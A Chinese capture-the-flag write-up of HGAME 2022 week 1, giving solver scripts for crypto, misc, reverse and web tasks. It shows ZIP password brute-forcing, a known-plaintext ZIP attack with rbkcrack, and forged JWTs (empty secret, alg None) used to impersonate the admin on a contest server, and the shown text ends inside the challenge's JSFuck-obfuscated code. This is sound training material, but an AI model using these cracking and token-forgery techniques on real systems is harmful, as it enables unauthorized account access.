HGAME 2022 Writeup - Week1

 CTF / HGAME
被浏览

HGAME 2022 第一周部分题的 Writeup。

小插曲,作者在打比赛的时候忘记截止时间少交了一个 flag,血亏 150 分 QAQ。

CRYPTO

Dancing Line

拿到图片,发现是一条折线,一开始没啥思路。

但仔细思考发现线横向只会向右,纵向只会向下,想到了什么?二进制!其实是受到校内比赛的启发

使用 PS 打开,放大后发现相邻两个黑方格之间正好相差 7 个蓝方格,想到了什么?ASCII 码!

再结合 HGAME 的 flag 格式:hgame{xxx},我们先拿到 h 的 ASCII 码,并将其转为二进制 1101000,再去对应找规律。

猜测是在折角处改变 0/1 状态,进行验证,发现前两段正好是 hg,写了个 Python 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from PIL import Image
im = Image.open('./Dancing Line.bmp')
n = im.size[0]
m = im.size[1]
res = 0
cur = False
flag = ""
for j in range(m):
for i in range(n):
x = im.getpixel((i, j))
if (x == (0, 0, 0)):
if ((i, j) != (0, 0)):
flag += chr(res)
res = 0
cur = False
continue
if (x == (255, 255, 255)):
continue
if (i - 1 < 0 or i + 1 >= n or j - 1 < 0 or j + 1 >= m):
cur = not cur
elif ((im.getpixel((i - 1, j)) != im.getpixel((i + 1, j))) and (im.getpixel((i, j - 1)) != im.getpixel((i, j + 1)))):
cur = not cur
# 转折意味着上下和左右均不相同或是超出边界
# 复杂度比较高,本来可以沿着线走,但是懒得写了(
res = res * 2 + cur
print(flag)

flag:hgame{Danc1ng_L1ne_15_fun,_15n't_1t?}

Easy RSA

送分题,没啥好说的,RSA 的常规解密过程。

Python 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import gmpy2

def Decrypt(e, p, q, c):
f = (p - 1) * (q - 1)
d = gmpy2.invert(e, f)
n = p * q
m = gmpy2.powmod(c, d, n)
return chr(m)

a = [(12433, 149, 197, 104), (8147, 131, 167, 6633), (10687, 211, 197, 35594), (19681, 131, 211, 15710), (33577, 251, 211, 38798), (30241, 157, 251, 35973), (293, 211, 157, 31548), (26459, 179, 149, 4778), (27479, 149, 223, 32728), (9029, 223, 137, 20696), (4649, 149, 151, 13418), (11783, 223, 251, 14239), (13537, 179, 137, 11702), (3835, 167, 139, 20051), (30983, 149, 227, 23928), (17581, 157, 131, 5855), (35381, 223, 179, 37774), (2357, 151, 223, 1849), (22649, 211, 229, 7348), (1151, 179, 223, 17982), (8431, 251, 163, 30226), (38501, 193, 211, 30559), (14549, 211, 151, 21143), (24781, 239, 241, 45604), (8051, 179, 131, 7994), (863, 181, 131, 11493), (1117, 239, 157, 12579), (7561, 149, 199, 8960), (19813, 239, 229, 53463), (4943, 131, 157, 14606), (29077, 191, 181, 33446), (18583, 211, 163, 31800), (30643, 173, 191, 27293), (11617, 223, 251, 13448), (19051, 191, 151, 21676), (18367, 179, 157, 14139), (18861, 149, 191, 5139), (9581, 211, 193, 25595)]
flag = "";
for x in a:
flag += Decrypt(x[0], x[1], x[2], x[3])
print(flag)

flag:hgame{L00ks_l1ke_y0u've_mastered_RS4!}

English Novel

下载下来的文件夹里给了加密方法 encrypt.py,算法非常简单,就是用 keydata 进行了一个移位,而移位是模 26 意义下的,这就意味着如果知道原文和密文,我们可以暴力枚举密钥,每一位的复杂度是 $O(26)$。

接下来的问题是找原文对应的密文是什么了,而这些文件分别在 originalencrypt 文件夹下,但是被打乱了顺序。注意到加密对于非字符是跳过的,且不改变大小写,所以我们可以根据这两个条件来写脚本判断是否对应。

然后值得一提的是加密过程和密钥长度无关,所以只需要枚举 flag.enc 文件长度的密钥就行,时间复杂度 $O(n \times n + encrypted_len \times n \times 26)$。脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
encrypted = "klsyf{W0_j0v_ca0z_'Ks0ao-bln1qstxp_juqfqy'?}"
encrypted_len = len(encrypted)
a = [[0 for j in range(410)] for i in range(encrypted_len)]
for i in range(410):
s1 = open(f'./original/part{i}.txt').read()
for j in range(410):
s2 = open(f'./encrypt/part{j}.txt').read()
l = len(s1)
if (l != len(s2)): continue
cur = 1
for k in range(l):
if (s1[k].isupper()):
if (not (s2[k].isupper())): cur = 0
elif (s1[k].islower()):
if (not (s2[k].islower())): cur = 0
elif (s1[k] != s2[k]): cur = 0
if (cur == 0): break
if (cur == 1):
for k in range(encrypted_len):
if s1[k].isupper():
a[k][i] = (ord(s1[k]) - ord('A'), ord(s2[k]) - ord('A'))
elif s1[k].islower():
a[k][i] = (ord(s1[k]) - ord('a'), ord(s2[k]) - ord('a'))
else:
a[k][i] = (-1, -1)
break
flag = ""
for i in range(encrypted_len):
if (not encrypted[i].isupper() and not encrypted[i].islower()):
flag += encrypted[i]
continue
for key in range(26):
cur = 1
for j in range(410):
if (a[i][j][0] < 0): continue
if ((a[i][j][0] + key) % 26 != a[i][j][1]):
cur = 0
break
if (cur == 1):
if (encrypted[i].isupper()):
flag += chr(((ord(encrypted[i]) - ord('A') - key) % 26 + 26) % 26 + ord('A'))
else:
flag += chr(((ord(encrypted[i]) - ord('a') - key) % 26 + 26) % 26 + ord('a'))
break
print(flag)

flag:hgame{D0_y0u_kn0w_'Kn0wn-pla1ntext_attack'?}

Iot

饭卡的uno

硬件啥也不会,但是把 .hex 文件扔进 IDA 能看见这个:

1
2
seg000:000005BE                 db  68h ; h
seg000:000005BF aGameF1rst5tep0 db 'game{F1rst_5tep_0F_IOT}',0

flag:hgame{F1rst_5tep_0F_IOT}

正解就等官方 wp 吧。。

MISC

欢迎欢迎!热烈欢迎!

送分题,照着题目做就行,flag 都没记录下来(

这个压缩包有点麻烦

下载下来的文件注释告诉我们 Pure numeric passwords within 6 digits are not safe!

意思就是让我们爆破密码,用 fcrackzip 暴力破解出密码是 483279

解压后里面给了我们一个字典文件 password-note.txt,有个 README.txt 提示 I don’t know if it’s a good idea to write down all the passwords.

然后发现 fcrackzip 的字典模式不能用,好像是把自己目录下的 README 当成字典了,也不会修,尝试编译了半天没成功,希望有大佬能教教我。

用 ARCHPR 跑字典后得到密码是 &-`;qpCKliw2yTR\

解压后又有一个压缩包,提示 If you don’t like to spend time compressing files, just stores them.

一开始以为这段话意思是没压缩藏在文件里了,尝试 binwalk,发现啥也没有。

仔细观察发现这段话刚好 68 字节,而压缩包里的 README.txt 原始大小也是 68 字节!更关键的是,CRC32 也相同!

于是考虑明文攻击。一开始试了好久一直不行,然后 SU 的师傅推荐了 rbkcrack,论工具的重要性(

1
./rbkcrack.exe -C flag.zip -P README.zip -a

拿到 keys: 060fd5e1 d1f696b7 12655d8d

再用 keys 去解压压缩包:

1
./rbkcrack.exe -C flag.zip -c flag.jpg -k 060fd5e1 d1f696b7 12655d8d -d flag.jpg

拿到 flag.jpg,但是还没结束,图片内容不是 flag,使用 binwalk 发现里面藏着一个压缩包,把压缩包提取出来。

发现加密了,但是又没提示了。。思考了半天,想到压缩包的考点也就这么几个,文件内容决定了显然不是 CRC 爆破,那么只能是伪加密了。

把压缩包的两个压缩源文件数据区和压缩源文件目录区的加密标识 09 00 改成 00 00 即可,拿到最终的 flag.jpg。

flag:hgame{W0w!_y0U_Kn0w_z1p_3ncrYpt!}

好康的流量

给了一个流量包,用 Wireshark 打开看看,发现是一次邮件过程,里面放了一个图片附件。

流量包看上去没啥东西,去把图片还原出来吧。

用 binwalk 扫到了一个 .zlib 文件出来,被误导了半天。后来想到 binwalk 只检测文件头,文件里可能有数据类似 zlib 文件头被错误地检测出来了。把前面的数据提取出来,果然发现图片失效了,排除附加文件的可能。

看来只能从文件本身入手了,用 PS 放大,发现图片左上角有一个类似条形码的东西,但是我啥也不会,就拿 PS 先加滤镜,使用锐化,参数怎么清楚怎么来,然后手绘,大概半夜画到凌晨 3:40,得到这么一张图:

还是老办法,先生成了 hgame{ 的二维码,发现前面对上了!但是扫出来是 hgame{ez_1mg_,好家伙只有一半,又没啥思路了。

去搜索了图片隐写的方式,尝试搜索原图来看是否存在数字水印,但是只找到了完整的图片,而这张只是那张图的稿子。但我知道了这张图是游戏王,牌佬出题人夹带私货属于是

没啥思路就拿眼睛瞪呗,用 PS 放大用取色器一个像素一个像素仔细观察,感觉最左边竖列颜色有问题,猜测也是有隐写,得知了 Stegsolve 这个工具,用它选择 RGB 的最低位,LSB,按竖列解析,获得这么一个文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
53746567346e3067 72617068797d5374  Steg4n0g raphy}St
6567346e30677261 7068797d53746567 eg4n0gra phy}Steg
346e306772617068 797d53746567346e 4n0graph y}Steg4n
306772617068797d 53746567346e3067 0graphy} Steg4n0g
72617068797d5374 6567346e30677261 raphy}St eg4n0gra
7068797d53746567 346e306772617068 phy}Steg 4n0graph
797d53746567346e 306772617068797d y}Steg4n 0graphy}
53746567346e3067 72617068797d5374 Steg4n0g raphy}St
6567346e30677261 7068797d53746567 eg4n0gra phy}Steg
346e306772617068 797d53746567346e 4n0graph y}Steg4n
306772617068797d 53746567346e3067 0graphy} Steg4n0g
72617068797d5374 6567346e30677261 raphy}St eg4n0gra
7068797d53746567 346e306772617068 phy}Steg 4n0graph
797d53746567346e 306772617068797d y}Steg4n 0graphy}
53746567346e3067 72617068797d5374 Steg4n0g raphy}St
6567346e30677261 7068797d53746567 eg4n0gra phy}Steg
346e306772617068 797d53746567346e 4n0graph y}Steg4n
306772617068797d 53746567346e3067 0graphy} Steg4n0g
72617068797d5374 6567346e30677261 raphy}St eg4n0gra
7068797d53746567 346e306772617068 phy}Steg 4n0graph
797d53746567346e 306772617068797d y}Steg4n 0graphy}
53746567346e3067 72617068797d5374 Steg4n0g raphy}St
6567346e30677261 7068797d53746567 eg4n0gra phy}Steg
346e306772617068 797d53746567346e 4n0graph y}Steg4n
306772617068797d 53746567346e3067 0graphy} Steg4n0g
72617068797d5374 6567346e30677261 raphy}St eg4n0gra
7068797fffffffff fffffffffb24db6d phy.... .....$.m
b6db6db6ac3fffff fffffe6052398800 ..m..?.. ...`R9..
0032967fffffffdb 6db6db6db6db6db6 .2..... m..m..m.
db6db6db6db6db6d b7e40096decf503f .m..m..m ......P?
........

后面都是无意义乱码了,再与之前的到的前半部分拼接得到 flag:hgame{ez_1mg_Steg4n0graphy}

P.S. 也是得知这个工具后才知道左上角的条形码可以通过 Stegsolve 的通道来看,直接秒出,选择 Green Plane 2 即可。可恶,白画了 3 个多小时 PS,TAT!论工具的重要性。

群青(其实是幽灵东京)

下载下来的音频先试听一会,发现低音区好像被截了,绝对有隐写(废话)。

拿 Audacity 看看频谱,发现字符串 Yoasobi,但是不是 flag。

然后再用 Silenteye 对文件进行解密,使用 AES256,密钥就用频谱得到的字符串 Yoasobi。

解出来一个 URL:https://potat0-1308188104.cos.ap-shanghai.myqcloud.com/Week1/S_S_T_V.wav

下载下来是一个非常刺耳的音频,拿文件名去网上搜索得知还有 SSTV 这东西,介绍就自己去看百科吧。

P.S. 国际空间站也传 SSTV 格式的视频,大佬可以自制天线接收解析(

但这格式也太小众了,网上还没啥软件能解析的,一搜全是怎么编码的。我终于在中国业余无线电论坛上找到有人推荐了 Black Cat SSTV。

但是直接外放麦克风的环境噪声比较大,只能看见里面有个二维码,并不能识别出来,好巧不巧的是,“Decode Audio File…” 选项会导致程序崩溃(已邮件反馈 bug)。

只能使用虚拟设备了,安装 VBCABLE,然后 Sound Input 选择 CABL Output,播放音频即可。

Robot-36-Color.jpg

就是不知道为什么是歪的,不过不影响结果

扫码出来 flag:hgame{1_c4n_5ee_the_wav}

P.S. 图片右边好像是异格斯卡蒂,看来 MISC 出题人成分复杂啊(

PWN

test_your_nc

PWN 啥也不会,就只会个 1 分的送分题。

连接以后直接 ls 发现有个 flag 文件,直接 cat 就行。

环境太卡了,flag 也忘记保存了。

REVERSE

easyasm

这个文件不一般啊,是 DOS 的可执行文件,直接以文本格式打开发现有个 hgame{Fill_in_your_flag},但这个显然不是 flag。

把文件扔进 IDA 里去,直接反汇编发现不兼容 16 位的代码。只能自己看了,发现两个不认识的寄存器 AL 和 AH,搜了一下资料。

AL,AH 合并起来是 AX,其中,AX 是一个 16 位寄存器,AH 就是 AX 的高字节(高 8 位),AL 是 AX 的低字节(低 8 位)。

大致看了一下,代码是把读入的数据放到 AL,把 AL 左移 4 位存到一个地方,再把 AL 右移 4 位存到一个地方,再把它们相加的结果异或 0x17,再与一个数组的数据进行比较。

前面说到 AL 是一个八位的寄存器,所以前面的操作相当于是把 AL 的高 4 位和低 4 位对调之后再异或 0x17。

直接通过逆向得到的数组进行反推,代码如下:

1
2
3
4
5
6
7
8
9
10
11
#include <cstdio>
int main() {
int s[28] = {0x91, 0x61, 0x01, 0xC1, 0x41, 0xA0, 0x60, 0x41, 0xD1, 0x21,
0x14, 0xC1, 0x41, 0xE2, 0x50, 0xE1, 0xE2, 0x54, 0x20, 0xC1,
0xE2, 0x60, 0x14, 0x30, 0xD1, 0x51, 0xC0, 0x17};
for (int i = 0; i < 28; i++) {
s[i] = s[i] ^ 0x17;
s[i] = (s[i] >> 4) + (s[i] << 4);
}
for (int i = 0; i < 28; i++) putchar(s[i]);
}

拿到 flag:hgame{welc0me_to_4sm_w0rld}

WEB

easy_auth

题目要我们拿到管理员的 to_do,先发现 admin 无法注册,得知管理员账号,然后注册了一个用户名是 2333,密码是 2333 的用户,登录后随便试了一会,了解一下 API。

一开始以为是什么 SQL 注入,但是毫无头绪,翻看 JS 的时候发现每次操作会传一个 token,而且格式非常特殊,就上午搜了一下,得知 JWT 这玩意。老规矩,不知道的请移步百科。还知道了一个好用的工具网站: https://jwt.io/

发现代码中会把这个 token 储存在 localStorage 里,就直接 localStorage.getItem('token'); 拿到 token(为了清晰一点,我按照 JWT 的格式分为 3 段):

1
2
3
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJJRCI6MTU3OCwiVXNlck5hbWUiOiIyMzMzIiwiUGhvbmUiOiIiLCJFbWFpbCI6IiIsImV4cCI6MTY0Mjk5MzM0MiwiaXNzIjoiTUpjbG91ZHMifQ.
AMrgcCQaMfJwPE_g9KIqC2rPLXU6RVt6-xxv81H3bN4

用工具网站解析得到:

1
2
3
4
5
6
7
8
9
10
11
12
{
"alg": "HS256",
"typ": "JWT"
}
{
"ID": 1578,
"UserName": "2333",
"Phone": "",
"Email": "",
"exp": 1642993342,
"iss": "MJclouds"
}

网上搜索到方法有加密算法替换为 None 和密钥爆破,我直接对目标 API http://whatadminisdoingwhat.mjclouds.com/v1/todo/list 进行操作。

使用 ewogICJhbGciOiAiTm9uZSIKfQ.eyJJRCI6MCwiVXNlck5hbWUiOiJhZG1pbiIsIlBob25lIjoiIiwiRW1haWwiOiIiLCJleHAiOjk2NDI5MTM3OTIsImlzcyI6Ik1KY2xvdWRzIn0.

发现服务器不支持 None 算法:

1
2
3
4
5
{
"code": 14005,
"message": "signing method (alg) is unavailable.",
"count": 0
}

而 Signature 那么长也爆破不了 secret。注意到有个 ID 字段,怀疑是根据 ID 查询密码作为密钥的,尝试注入。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJJRCI6W10sIlVzZXJOYW1lIjoiYWRtaW4iLCJQaG9uZSI6IiIsIkVtYWlsIjoiIiwiZXhwIjo5NjQyOTEzNzkyLCJpc3MiOiJNSmNsb3VkcyJ9.

然后返回了这个:

1
2
3
4
5
{
"code": 14005,
"message": "json: cannot unmarshal array into Go struct field JWTClaims.ID of type uint",
"count": 0
}

好了,现在我们得知后端是 Go 了,但是事实上并没有什么用。

P.S. 作者当时还去搜索了 Go 的 JWTClaims,发现确实有 CVE,但是这题里面毫无关系,反而思路被带偏了。

机缘巧合的是在我把 secret 置空以后发现生成的和最开始的那个居然一模一样,真是吐血,居然 secret 是空。这我一开始是真没想到。

然后我把 ID 改为 0,UserName 改为 admin,

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJJRCI6MCwiVXNlck5hbWUiOiJhZG1pbiIsIlBob25lIjoiIiwiRW1haWwiOiIiLCJleHAiOjE2NDI5OTMwNTcsImlzcyI6Ik1KY2xvdWRzIn0.DFdaY3gfvJ-9g7bz9wDSWCIGqlROXKo-_O4l4gTvToQ

服务器返回:

1
2
3
4
5
{
"code": 14005,
"message": "大坏蛋别做坏事!!!",
"count": 0
}

当时吓我一大跳,还以为又白做了。但我把我自己 token 的 ID 改了发现也是这个结果,才知道这个返回的意思是 ID 和 Username 不匹配。

于是把 ID 改成 1,

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJJRCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBob25lIjoiIiwiRW1haWwiOiIiLCJleHAiOjE2NDI5OTMwNTcsImlzcyI6Ik1KY2xvdWRzIn0.HKmz9ithj9bnb6c2pKDGiHUSPxSR6b9x5gho5vTmyKc

服务器返回:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
"code": 2000,
"message": "success",
"count": 1,
"data": [
{
"ID": 1,
"CreatedAt": "2022-01-18T21:58:53.457+08:00",
"UpdatedAt": "2022-01-20T22:29:31.955+08:00",
"DeletedAt": null,
"todo_name": "hgame{S0_y0u_K1n0w_hOw_~JwT_Works~1l1lL}",
"description": "some desc",
"end_time": "2022-01-18T21:58:53+08:00",
"status": 0,
"user_id": 1
}
]
}

拿到 flag:hgame{S0_y0u_K1n0w_hOw_~JwT_Works~1l1lL}

蛛蛛…嘿嘿♥我的蛛蛛

进去就让你点按钮,点了几次试了一下,后来受不了直接写了一个功能弱一点的脚本(按照题目来说就是让你写爬虫的):

1
2
3
4
list = document.querySelectorAll('a');
list.forEach(x => {
if (x.href != location.href) x.click();
});

在控制台不停执行就行,最后到了 https://hgame-spider.vidar.club/636defa854?key=MmhhqguSUpelDSTyNsBjinkUo458MpiGW72R6HiydqseM8lZ3zEn%2BQT0a7vs09NjqB9KtkAYWtKYf4HVifIN1A%3D%3D

网页中间一个大大的标题 我好像在就是把flag落在这里了欸~ 快帮我找找x,联系到 URL 的 key,一开始怀疑这个 key 是加密的。

先 URL 解码得到 MmhhqguSUpelDSTyNsBjinkUo458MpiGW72R6HiydqseM8lZ3zEn+QT0a7vs09NjqB9KtkAYWtKYf4HVifIN1A==,一开始看着结尾的 == 以为是 Base64,然而失败了。

后来意识到可能不在这,在响应头里发现了 fi4g: hgame{202418360e93093582ff7358f3b3829d3f733935bef5686eeb568e9848b779c1}

拿到 flag:hgame{202418360e93093582ff7358f3b3829d3f733935bef5686eeb568e9848b779c1}

Tetris plus

打开网页,是个小游戏,题目描述说“据说没人能超过 3000 分”,着重寻找代码里和这个有关的。

首先我们要知道,作者一般不会自己去写这个小游戏的,所以小游戏的代码可以先不看。

然后我们找到了 js/checking.js,有这么一段代码:

1
2
3
4
5
if (score >= 3000 && !window.winned) {
winned = true
alert(atob("ZmxhZyDosozkvLzooqvol4/otbfmnaXkuobvvIzlho3mib7mib7lkKch"))
// [][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+[]]+[+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]])[(![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]](([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[